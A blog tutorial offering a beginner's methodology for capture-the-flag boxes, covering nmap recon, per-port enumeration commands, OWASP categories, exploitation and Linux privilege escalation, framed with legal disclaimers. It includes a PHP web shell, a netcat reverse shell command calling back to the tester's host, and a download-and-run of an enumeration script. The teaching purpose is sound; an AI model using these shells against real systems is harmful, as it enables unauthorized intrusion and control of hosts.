A Quick CTF Methodology

DISCLAIMER: ONLY use this methodology on boxes that you have permission to hack. It is VERY noisy and any blue team worth their salt will easily detect this and take action — If not already automated. I can not stress this enough. This is for CTF purposes only. Keep it legal and responsible!

An Introduction and History

When I first started in the more applied info-sec world, I discovered that there was a severe lack of information and training resources for the beginner. I came face-to-face with the opposing opinions of “just start poking around… but don’t get caught”, and “only hack what you have permission to hack”. Obviously I’m in the ethical camp, but I found that those same people who would say to be ethical would provide no help at all in gaining the skills to do so. And for a long time I simply took courses that were related to security, and scavenged the internet for the rare (at those times) write-ups (weren’t called that — more “stories”), news, or played around on my own machine.

As I learned more, and as time went on, Virtual-box and other platforms became available and many of the standard tools went from being “download the source, compile, and fight with dependencies” to being fully integrated into distros like Kali or Parrot — or just became a lot easier to build (hey! who knew, usability is important even for pentest tools!).

Then the game completely changed with bug bounties. All of a sudden I saw YouTube channels showing how to pwn boxes — and not getting taken down! — and sponsorships for their hosts. They would walk you through the process of rooting a vulnerable VM and people ate it up. Resources on how to root boxes were everywhere. Sites spawned to host vulnerable VMs and “cyber weapons testing ranges” became a thing — for a fee.

I remembered my skater days. Sponsored teams showing up at the park, crushing it everywhere: bowl, rails, big air, tech, whatever, hand out free shirts and boards, then disappear — leaving those at the park in awe. I had friends in that world and I got the odd free board and hand-me-down shoes (that I would never have been able to afford myself), but I also remember talking with them about how it’s all just for the corporate sales. They knew, but hey, they get paid to skate. I see the same change in culture with “hackers” (for lack of a better term).

With all the content out there it has never been easier to get into the bug bounty and CTF side of things. It’s in those platforms benefit to have as many hackers on there as possible. It’s how they generate revenue: No hackers? Companies don’t post on your site. This incentivizes platforms and orgs like Port Swigger (Maintains and sells BurpSuite) and HackerOne (Bug bounty platform), and plenty others, to generate content to make it easier for people to buy their product.

The “training resource” supply is high. So why are so many people still asking me how to get started in CTF?

The Problem

I have spent many french-presses (my unit of time) thinking about this and have come up with a few suggestions as to why, when there are so many training resources are out there, so many people struggle to break into the game.

In doing this I will avoid the “job market” issue as it is dependent on location, HR, and other conditions. I want to focus on the community in general.

A Walkthrough Is Not Enough

I have watched plenty of walkthroughs for vulnerable VMs and nearly all (but not all, gems exist) of them teach you the shortest path to root and prune the dead ends. This is completely unrealistic in the “user experience” side of that challenge. Rabbit holes exist and you will fall into them. Walkthroughs are good for hints, and maybe learning about a new tool, but it does NOT teach methodology. This leaves those who read/watch them with the equivalent of a wrench when their next box needs a saw. Furthermore, I have seen TOO MANY copy-and-paste walkthroughs that contain errors and skipped steps that practitioners, if they were to follow the steps exactly, would not be able to root the box (VM) as the box itself is broken (and there are plenty of broken boxes out there). This means that the walkthrough’s author either didn’t actually do that work, or that they are skipping key steps that the reader will miss. Both are unacceptable.

“Try Harder” is a Tired Term

Look. I get the theory behind this, but it seems like people just use it as a club to beat down beginners without providing any real feedback. When I was teaching, I used to ask my students “did you Google it?” If they hadn’t I wouldn’t help them until they did. But if they had, I wouldn’t say “try harder”, I would help them. It is important to set expectations and to make sure that they tried to solve the problem themselves, but then bloody help them! In my experience, “try harder” has rarely been said in its proper meaning. I see it mostly as an indicator of toxicity.

Hoarding of Information

There is a tendency to hoard information and then either sell it or keep it to yourself. I find this interesting as this is in direct contrast to the ethos of the original “hackers”. There are plenty of things that should be kept secret, but keeping something secret so that you sound smart is just petty and lame. This is made worse by the new-found ability to make money via bug bounties. Nobody wants to reveal their “trade secrets”. The problem is that they learned that info elsewhere, from someone else, in a market that is desperate for infosec professionals. This is like climbing the ladder then pulling it up after they get to the top. Again, petty and lame.

Lack of Mentorship

To me, this is the biggest one. There is a severe lack of mentorship in this industry. Beginners need to know how to do things safely and legally! Giving advice comes with its own risks, and I grappled with writing this article due to this. Those who “know” are in a position to mentor those who “do not know”. Even if you don’t know everything, there is nothing wrong with saying “I am going this way, anyone want to come along?” — Because (spoiler) nobody knows everything. We need more mentors who are willing to step up and have that 2-WAY CONVERSATION with their mentees — NOT just a one-way YouTube broadcast.

Quick CTF Methodology

There are plenty of problems, but simply listing them is not good enough. I aim to solve problems and I apologize for the lengthy preamble, but the impetus for this article is as important as the content. In an effort to solve as least some part of the issues I see, I have written a very general “Quick Methodology” to help those who are interested in learning how to approach a CTF box.

NOTES / COMMENTS

Terminal commands will be in the form: “[KALI] > <some command>“. This will say what machine the command is on (in this case, Kali).
- Example: [KALI] > ls -al
- Others may include “[SHELL] >” (for shell commands on a target host), “[MYSQL] >” when in the MySQL interactive prompt, etc.
It is HIGHLY RECOMMENDED that you log (copy and paste) every command that you use against a box — AND the results.
- This keeps you from having to re-run the same command because you forgot the results, and helps you build a library of reference material.
- Start this habit early, and don’t cut corners for the best effect.
The commands below are a good start. If you haven’t seen a command before, google it, check the man page ([KALI] > man <cmd>), and learn the flags, etc.

General Methodology

nmap scans (recon)
Targeted scans/information gathering
Look for exploits, command execution, getting a reverse shell, into an admin console, etc.
Trying to elevate privileges

INITIAL RECON

Initial recon is just that — first, basic scans to recon the target. nmap is your friend here. Where you go from here will be determined based on the scans (Will talk more about this later). There are other scanners and such, and you can dive into nmap more if you want, but this is good for an intro. For most boot-to-root boxes, this will be enough (maybe the odd UDP scan -sU).

[KALI] > nmap -sn <ip subnet: eg: 192.168.0.1/24>
- This finds the targets on your network — VERY fast but doesn’t scan any ports — just finds hosts on the network
[KALI] > nmap -sC -sV <IP>
- Hits the top 1000 ports of the target and runs basic scripts and banner grabbing — good first step
[KALI] > nmap -sC -sV -p- <IP>
- Scan ALL ~65k ports — Can take A LONG TIME, but can find non-default ports
[KALI] > nmap -Pn <IP>
- Useful if there is a host, but it isn’t responding to normal nmap scans (nmap uses syn pkts by default — these can be blocked)

INFORMATION GATHERING

After your initial recon, you should have a list of ports that are open. If no ports are open you’re gonna have a bad time. If that happens, try the max port scan (nmap -p-) or take a look at the UDP side of things.
If you DO have ports, you can start gathering information. nmap will give you a report that looks some-what like the following:

[KALI] > nmap -sC -sV 192.168.0.114
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-26 00:11 EDT Nmap scan report for 192.168.0.114 Host is up (0.00059s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 3 disallowed entries |_/cola /sisi /beer |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).

What you care about above, is the port (in this case only port 80), and any specific findings: I see a few entries in the robots.txt file,
and some version info from the header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3 — could be useful

There are a lot of common ports, but lets go over a few of them. MOST ports will have a separate path and list of commands to gather info.
I will outline a few and some general info gathering techniques, but obviously this won’t be exhaustive. Google is your friend on this one. Google the port and service and keywords like “enumeration” and the like:

PORT	SERVICE	NOTES
21	FTP	`[KALI] > ftp IP`
22	SSH	`[KALI] > ssh someuser@IP`
25	SMTP (Mail)	`nmap -sV -Pn -vv -p 25,110,143,587 --script='(smtp*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 IP`
80, 443	HTTP, HTTPS	`Browser check [KALI] > nikto -h http://IP -o nikto.txt [KALI] > gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://IP -s "200,204,301,302,307,401,403" -t 10 -e -k [KALI] > dirb http://IP`
110	POP (Mail)	`nc <IP> 25`
111	NFS	`[KALI] > sudo showmount -e IP [KALI] > sudo mount -t nfs -o vers=3 IP:/SOMESHARE LOCALDIRPATH`
139, 445	SMB	`[KALI] > nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 IP`
161	SNMP	`[KALI] > snmpwalk -c public -v1 IP`
389, 3268	LDAP
1433	MSSQL	`[KALI] > sudo nmap -sV -Pn -vv -p 1433 --script='(ms-sql*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 IP`
3306	MySQL	`[KALI] > mysql -h IP -u root -p`
3389	RPC	`[KALI] > sudo nmap -sV -Pn -vv -p 3389 --script='(rdp*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 IP`
5900	VNC
9200	ElasicSearch

It would benefit you to have a specific playbook for each of these ports as the tools you use to attack them will vary. For example, port 80 will have tools like the browser, dirb, gobuster, and nikto — these tool are of limited value to other ports, but VERY powerful (and noisy) for HTTP(S) ports.

EXPLOITATION

Only after you have gathered information will you start to try exploitation. Exploitation can vary from trying a few simple command injections on a web application, to searching, downloading, compiling, and executing a remote exploit against a host.

Web applications will be your most common target. They are hard to properly secure, have plenty of legacy systems are out there with poor
input validation, and CTF boxes seem to always have them. This leads to web applications having the highest success rate from the ports listed above. If you see port 80 or 443 open, you usually want to start there.

For Web, you will be looking for the OWASP top 10: https://owasp.org/www-project-top-ten/

Injection
Broken Authentication
Sensitive Data Exposure (nikto, gobuster, and dirb help a lot here)
XML External Entities (XXE)
Broken Access Control (Common, look for config files if you can directory traverse, you will see where “special” openings are)
Security Misconfiguration (same as above, use the tools and look for config files)
Cross Site Scripting (XSS) — Less useful if you want root on the target, but useful if you are attacking the web app itself
Insecure Deserialization (you will probably only see this in a pre-built exploit for now)
Using components with known vulnerabilites (WordPress plugins, etc. — People just can’t be bothered to patch)
Insufficient logging and monitoring (less for boot to root, but know that your scans are NOISY!)

You will need to (eventually) be decent at injection and poking around for sensitive files (comes with time). Portswigger (Org that makes BurpSuite) has a great acadamey to learn these tools: https://portswigger.net/web-security
Worth it.

Your main tool for exploit searching (in Kali) will be searchsploit and Google. Remember that header we got from the nmap scan?: “Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3” It tells us that the webserver is Apache 2.2.15.
We can search for exploits for that version by using searchsploit:

[KALI] > searchsploit Apache 2.2 …Lots of results…

Get to know this tool, what the results mean (there are different categories, remote, local privilege escalation, DOS (probably never use that), etc.)
Use Google to find exploits that are more “niche” and pull them from github repos. Be warned: read the exploits. There have been plenty of malicious
exploits that hack the hackers as well as their targets. Know what the exploit is doing. They are usually not that complex — just inserting some “payload” at a special spot that is vulnerable.

CTF EXPLOITATION GOAL – USER then ROOT

The goal of exploitation is to get a user shell — then escalate to a root shell. What is that?
Let’s think about our target for a second. It has a firewall, or at least default configurations that are probably not making it open to the world. This makes it hard for you to just contact it and say “hey, let me have a shell”. It would just ignore you — or report you.

What you need to do is “convince” the target host to “call” you instead of you “calling” them. This is done in countless ways. It is the primary goal of almost all code injections. If you can get code execution (code exec) on a box, it means that you can get it to call you — which circumvents simple firewalls (they don’t block outbound traffic, just inbound).

So what does this look like?

FIRST, we need a “listener” on our Kali box. This will receive the “call”
[KALI] > nc -nvlp 4444

This command calls the netcat binary and tells it to listen on the port 4444 for an incoming connection. It doesn’t have to be port 4444.

NEXT, we will try to get the target host to execute a command that will call us (let’s say that our KALI box’s IP address is 192.168.0.121). I will use an example with a few steps to illustrate how this can be multi-step:

TARGET HOST IP = 192.168.0.114
YOUR KALI IP = 192.168.0.121
You discover a web application that allows you to upload php files and it stores them in the /uploads/ directory of the host
- URL: http://192.168.0.114/upload.php
- URL: http://192.168.0.114/uploads/
  - you are able to browse here and see your uploaded file

You create a php file called “backdoor.php” and upload it with the following code:
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
- CODE EXPLANATION: This is a simple “web shell”. It takes the ‘cmd’ parameter from the HTTP GET request query string and executes it on the server — and prints the result.

In your browser, you go to http://192.168.0.114/uploads/backdoor.php?cmd=whoami
- Well look at that, the page says ‘apache’
- you successfully remotely executed a command on the target host
- notice how ‘cmd=a_linux_command‘

Now you want an actual shell on the host. You first start your netcat listener:
- [KALI] > nc -nvlp 4444
THEN you need to execute a call to your IP and port 4444 — your IP in this case is 192.168.0.121
- [BROWSER] > http://192.168.0.114/uploads/backdoor.php?cmd=nc -c /bin/sh 192.168.0.121 4444
- BAM, your netcat listener says someone connected to you:
  - [SHELL] > whoami apache
- You’re in.

You don’t always have to upload a ‘backdoor’ file, sometimes the command (or code) injection is already there and you just need to use it. Sometimes you need to URL encode your command (I did not encode my example). Sometimes the ‘nc’ binary won’t be there and you will have to find other ways to ‘call home’.
A good list of reverse shells is located here: https://highon.coffee/blog/reverse-shell-cheat-sheet/

Remember, the goal is (almost always) to figure out a way to get the target host to call home/you. Once you have a user shell (as most systems don’t run as admin), you will need to elevate your privileges to get root.

UPGRADE YOUR SHELL

A note. When you get a shell, most times you will not get a nice command line terminal like what you are used to. It will be limited in functionality. You didn’t exactly get it though normal means, so that makes sense. A ‘quality of life’ trick is to upgrade your shell to interactive:

[SHELL] > python -c 'import pty; pty.spawn("/bin/bash")'

If python is installed on the target host, you can call it and upgrade your shell. There are more tricks to add more, but this should do for now.

PRIVILEGE ESCALATION

The goal of privilege escalation is to move from a user shell to a root shell. You want to be admin. There are a lot of ways to do this, but you want to think about a few things:

What programs are running as root? Some programs can let me execute commands through them as root
- [SHELL] > ps -aux | grep "^root"
  - get all of root’s running processes

Can you execute a binary as root? See: https://gtfobins.github.io/ VERY useful.

“Users” tend to leave usernames and passwords in scripts and config files all over the place.
- PHP login page? Check the source. The database creds could be in there
- Random config files lying around?
- What is that script in the user’s home directory? Oh, there’s a password in there.

Look at these scripts to help you out:
- LinPEAS
- LinEnum
- Linprivchecker
- I recommend linPEAS and LinEnum, use linprivchecker as a last resort
you also have to figure out how to transfer those files from your KALI box to the target machine.
- [KALI] > sudo python3 -m http.server 80
- [SHELL] > cd /tmp
- [SHELL] > wget http://192.168.0.121/linpeas.sh
- [SHELL] > chmod +x linpeas.sh
- [SHELL] > /bin/bash linpeas.sh -a

FINALLY, you can look for kernel exploits
- [SHELL] > uname -a
  - Gives the distro and kernel info (usually. Try ‘cat /proc/version‘ if that doesn’t work)
- [KALI] > searchsploit linux kernel 2.6
  - or whatever version you see
- KNOW that kernel exploits are finicky, could need some fun gcc flags (-m32, -march=…, -lcrypto, etc.), and could just plain not work and brick the VM.

CONCLUSION

In general, there is too much to cover here, and you can go down a rabbit hole for each major section. You’ll probably want to know the basics of each area, then focus on getting that initial shell. Privilege escalation will come later. Lots of VMs have walkthroughs and you can see what you need to do to get in and elevate. Try not to use the walkthroughs without really trying to get in yourself though. My rule of thumb is 2-4 hours stuck, then get a hint.

Remember to log everything in some note-taking app, like cherrytree (in Kali). This lets you easily reference previous boxes, add to your playbook and methodology, and has great search functionality. Even if you use a walkthorugh, add the steps to your notes. This makes them available for next time.

Again: DISCLAIMER: ONLY use this methodology on boxes that you have permission to hack. It is VERY noisy and any blue team worth their salt will easily detect this and take action — If not already automated. I can not stress this enough. This is for CTF purposes only.Keep it legal and responsible!

I want to see you at the next CTF competition — NOT in jail.

List of Vulnerable VMs

Need some help finding some virtual machines to get and set up for practice? These are all on VulnHub, a site that hosts vulnerable VMs. The difficulty varies, and some config might be necessary (check those network adapters to be sure they are “host-only”, you don’t want to expose that to the public).

Disclaimer: Not my list, I just shamelessly plug it as I like it.

Caleb Shortt

Technology and Other Interesting Topics

A Quick CTF Methodology

Share this:

Like this: